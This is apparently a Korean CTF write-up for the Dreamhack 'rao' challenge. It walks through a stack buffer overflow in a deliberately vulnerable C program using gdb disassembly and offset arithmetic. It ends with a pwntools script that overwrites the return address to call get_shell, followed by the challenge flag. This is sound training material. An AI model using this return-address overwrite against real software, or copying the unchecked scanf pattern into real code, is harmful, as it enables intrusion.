// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
buf 배열은 0x28 바이트 크기로 선언된 40바이트 크기의 버퍼인데, scanf 함수를 사용하여 문자열을 입력받을 때 40바이트보다 큰 입력을 제공하면 버퍼 오버플로우가 발생하게 된다.
짧은 입력을 주었을 때와는 다르게, "Segmentation fault"라는 오류가 출력되고 프로그램이 비정상적으로 종료된다. 이 오류는 프로그램이 잘못된 메모리 주소에 접근하려고 시도했음을 나타내며 이는 프로그램에 버그가 있음을 나타낸다.
user@user-virtual-machine:~/HB_3week$ gdb rao
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 147 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from rao...
(No debugging symbols found in rao)
------- tip of the day (disable with set show-tips off) -------
Pwndbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see info signals for full GDB signals configuration
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000400510 _init
0x0000000000400540 printf@plt
0x0000000000400550 execve@plt
0x0000000000400560 setvbuf@plt
0x0000000000400570 __isoc99_scanf@plt
0x0000000000400580 _start
0x00000000004005b0 _dl_relocate_static_pie
0x00000000004005c0 deregister_tm_clones
0x00000000004005f0 register_tm_clones
0x0000000000400630 __do_global_dtors_aux
0x0000000000400660 frame_dummy
0x0000000000400667 init
0x00000000004006aa get_shell
0x00000000004006e8 main
0x0000000000400730 __libc_csu_init
0x00000000004007a0 __libc_csu_fini
0x00000000004007a4 _fini
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x30
0x00000000004006f0 <+8>: mov eax,0x0
0x00000000004006f5 <+13>: call 0x400667 <init>
0x00000000004006fa <+18>: lea rdi,[rip+0xbb] # 0x4007bc
0x0000000000400701 <+25>: mov eax,0x0
0x0000000000400706 <+30>: call 0x400540 <printf@plt>
0x000000000040070b <+35>: lea rax,[rbp-0x30]
0x000000000040070f <+39>: mov rsi,rax
0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4
0x0000000000400719 <+49>: mov eax,0x0
0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt>
0x0000000000400723 <+59>: mov eax,0x0
0x0000000000400728 <+64>: leave
0x0000000000400729 <+65>: ret
End of assembler dump.
pwndbg>
main 함수 disassemble
1) rsi 레지스터에 rbp-0x30 의 주소를 저장하는 것을 볼 수 있다.
이를 봤을 때 buf 의 주소가 rbp-0x30 인 것을 알 수 있고, ret = rbp + 0x08 이므로 두 주소 사이의 바이트 차이는
rbp + 0x08 (ret의 위치) - (rbp - 0x30) (buf의 위치) = 0x30 +0x08 = 0x38(56)bytes 이다.
2)sub rsp, 0x30 어셈블리를 통해 (지역변수 + dummy) 크기가 48임을 알 수 있다.
64-bit machine은 주소 크기가 8 bytes를 차지하기에 SFP 크기가 8 bytes 임을 알 수 있다.
즉, Return address에 get_shell() 함수의 주소를 overwrite 하기 위해서는 지역변수+ dummy(48) + SFP(8)를 쓰레기값으로 채우면 된다.
from pwn import *
p = remote("host3.dreamhack.games", 9067)
e = ELF("./rao")
get_shell = e.symbols["get_shell"]
payload = b''
payload += b"A"*56
payload += p64(get_shell)
p.recvuntil(b"Input:")
p.sendline(payload)
p.interactive()
Flag is
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
'Pwnable' 카테고리의 다른 글
[DreamHack] Out of bound Write-Up (0) | 2024.09.22 |
---|---|
[Dreamhack] basic_exploitation_001 Write-Up (0) | 2024.09.19 |
[DreamHack] shell_basic Write-Up (0) | 2024.09.19 |
[DreamHack] hook Write-Up (0) | 2024.09.18 |
[DreamHack] oneshot Write-Up (0) | 2024.09.18 |